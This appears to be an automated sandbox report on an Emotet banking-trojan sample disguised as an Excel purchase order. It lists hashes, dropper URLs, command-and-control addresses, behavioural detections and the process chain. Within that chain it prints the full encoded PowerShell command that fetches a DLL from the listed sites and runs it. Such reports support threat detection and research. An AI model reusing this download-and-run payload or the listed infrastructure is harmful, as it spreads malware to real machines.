emotet | 8032602e7a2db3ceea482f7e007577295dc3c41da8e4c4b5f2ba32074b6a1007

Analysis

max time kernel
121s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 14:33

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General

Target
PO 01252022.xls
Size 142KB
Sample220125-rwvlsahcg2
SHA256 8032602e7a2db3ceea482f7e007577295dc3c41da8e4c4b5f2ba32074b6a1007
MD5 eac50d6d70df2ab19880263d5c9b7613
SHA1 5261c758e432cb71d2200895a76504f8b7616b41
SHA512 705796dd436b72f9a0f34d89525d06c837a1fb4f84da05b4f4ea42a92bfa674ee2e4314c7f6e9cb146325fef5684c7d1f7d896d8b9f438320cdaad836fa65c96
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rkeeperua.com/include/FXBsVAOd1U/
exe.dropper
http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
exe.dropper
http://queens.renovatiog.ltd/wp-includes/LDH/
exe.dropper
http://renovatiomarketing.com/renovatiomarketing.com/A/
exe.dropper
http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
exe.dropper
http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
exe.dropper
http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
exe.dropper
http://dandtpremierhomes.com/eapn/lpN6dcAppn/
exe.dropper
http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
exe.dropper
http://crisbdev.com/wp-content/2dmXYgLVdkV/

Extracted

Family

emotet

Botnet

Epoch4

45.80.148.200:443
80.211.3.13:8080
110.232.117.186:8080
45.142.114.231:8080
131.100.24.231:80
107.182.225.142:8080
45.118.135.203:7080
164.68.99.3:8080
212.237.56.116:7080
41.76.108.46:8080
58.227.42.236:80
104.168.155.129:8080
79.172.212.216:8080
192.254.71.210:443
51.38.71.0:443
217.182.143.207:443
203.114.109.124:443
185.157.82.211:8080
173.212.193.249:8080
45.176.232.124:443
158.69.222.101:443
212.237.17.99:8080
207.38.84.195:8080
195.154.133.20:443
162.243.175.63:443
138.185.72.26:8080
103.8.26.102:8080
103.8.26.103:8080
50.116.54.215:443
178.79.147.66:8080
45.118.115.99:8080
178.63.25.185:443
46.55.222.11:443
103.75.201.2:443
81.0.236.90:443
176.104.106.96:8080
162.214.50.39:7080
212.237.5.209:443
209.59.138.75:7080
216.158.226.206:443
104.251.214.46:8080
212.24.98.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2124	3476	cmd.exe	67

Blocklisted process makes network request 8 IoCs

flow	pid	Process
31	696	powershell.exe
36	696	powershell.exe
42	1448	rundll32.exe
45	1448	rundll32.exe
47	1448	rundll32.exe
48	1448	rundll32.exe
49	1448	rundll32.exe
50	1448	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
884	rundll32.exe
3284	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Fhtisstfgm\ddezi.yde	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3476	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
696	powershell.exe
696	powershell.exe
696	powershell.exe
1448	rundll32.exe
1448	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	696	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE
3476	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 2124	3476	EXCEL.EXE	71
PID 3476 wrote to memory of 2124	3476	EXCEL.EXE	71
PID 2124 wrote to memory of 696	2124	cmd.exe	73
PID 2124 wrote to memory of 696	2124	cmd.exe	73
PID 696 wrote to memory of 884	696	powershell.exe	74
PID 696 wrote to memory of 884	696	powershell.exe	74
PID 696 wrote to memory of 884	696	powershell.exe	74
PID 884 wrote to memory of 3284	884	rundll32.exe	75
PID 884 wrote to memory of 3284	884	rundll32.exe	75
PID 884 wrote to memory of 3284	884	rundll32.exe	75
PID 3284 wrote to memory of 1376	3284	rundll32.exe	76
PID 3284 wrote to memory of 1376	3284	rundll32.exe	76
PID 3284 wrote to memory of 1376	3284	rundll32.exe	76
PID 1376 wrote to memory of 1448	1376	rundll32.exe	77
PID 1376 wrote to memory of 1448	1376	rundll32.exe	77
PID 1376 wrote to memory of 1448	1376	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO 01252022.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\rtyusdj.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\372027148.dll,f46557068
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:884
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\372027148.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3284
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fhtisstfgm\ddezi.yde",ddVQikUWFeoDA
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1376
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fhtisstfgm\ddezi.yde",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1448

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/696-316-0x000001BF76D23000-0x000001BF76D25000-memory.dmp

Download

memory/696-310-0x000001BF76C70000-0x000001BF76C92000-memory.dmp

Download

memory/696-347-0x000001BF76D28000-0x000001BF76D29000-memory.dmp

Download

memory/696-331-0x000001BF77D10000-0x000001BF784B6000-memory.dmp

Download

memory/696-330-0x000001BF76D26000-0x000001BF76D28000-memory.dmp

Download

memory/696-317-0x000001BF76F60000-0x000001BF76FD6000-memory.dmp

Download

memory/696-313-0x000001BF76D20000-0x000001BF76D22000-memory.dmp

Download

memory/884-355-0x00000000006E0000-0x0000000000705000-memory.dmp

Download

memory/1376-370-0x0000000000DC0000-0x0000000000DE5000-memory.dmp

Download

memory/1448-377-0x00000000045C0000-0x00000000045E5000-memory.dmp

Download

memory/3284-373-0x0000000004F90000-0x0000000004FB5000-memory.dmp

Download

memory/3284-361-0x0000000004A00000-0x0000000004A25000-memory.dmp

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memory/3284-369-0x0000000004DD0000-0x0000000004DF5000-memory.dmp

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memory/3284-367-0x0000000004D70000-0x0000000004D95000-memory.dmp

Download

memory/3284-365-0x0000000004D10000-0x0000000004D35000-memory.dmp

Download

memory/3284-363-0x0000000004BB0000-0x0000000004BD5000-memory.dmp

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memory/3284-358-0x00000000010C0000-0x00000000010E5000-memory.dmp

Download

memory/3476-118-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-117-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-115-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-119-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

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memory/3476-128-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Download

memory/3476-129-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Download

memory/3476-116-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-294-0x0000026E03720000-0x0000026E03724000-memory.dmp

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memory/3476-416-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-417-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-418-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/3476-419-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

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